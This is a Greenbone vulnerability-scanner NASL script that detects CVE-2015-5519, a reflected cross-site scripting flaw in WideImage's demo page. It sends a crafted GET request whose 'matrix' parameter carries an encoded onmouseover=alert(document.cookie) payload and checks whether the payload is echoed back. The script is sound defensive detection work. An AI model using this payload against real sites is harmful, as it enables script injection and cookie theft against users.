WideImage Demo Code Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wideimage:wideimage";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805683");
  script_version("2023-07-25T05:05:58+0000");
  script_cve_id("CVE-2015-5519");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-08-03 12:38:23 +0530 (Mon, 03 Aug 2015)");
  script_tag(name:"qod_type", value:"remote_vul");
  script_name("WideImage Demo Code Cross Site Scripting Vulnerability");

  script_tag(name:"summary", value:"WideImage is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check whether it is able to read cookie or not.");

  script_tag(name:"insight", value:"Flaw exists as the application does not
  validate input passed via 'matrix parameter' to demo/index.php script before
  returning it to user.");

  script_tag(name:"impact", value:"Successful exploitation will allow a
  context-dependent attacker to create a specially crafted request that would
  execute arbitrary script code in a user's browser session within the trust
  relationship between their browser and the server.");

  script_tag(name:"affected", value:"WideImage version 11.02.19");

  script_tag(name:"solution", value:"Remove the 'test' and 'demo' directories
  after installation.");

  script_tag(name:"solution_type", value:"Workaround");

  script_xref(name:"URL", value:"http://www.scip.ch/en/?vuldb.76509");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2015/Jul/30");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/132584");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wideimage_detect.nasl");
  script_mandatory_keys("WideImage/installed");
  script_require_ports("Services/www", 80);
  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if(!http_port = get_app_port(cpe:CPE)){
  exit(0);
}

if(!dir = get_app_location(cpe:CPE, port:http_port)){
  exit(0);
}

url = dir + "/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&"+
            "match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%2"+
            "5200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3d"+
            "alert%28document.cookie%29%20bad%3d%22&offset=220&output=preset"+
            "%20for%20demo";

if(http_vuln_check(port:http_port, url:url, check_header:TRUE,
                   pattern:"alert\(document.cookie\)", extra_check:">WideImage"))
{
  report = http_report_vuln_url( port:http_port, url:url );
  security_message(port:http_port, data:report);
  exit(0);
}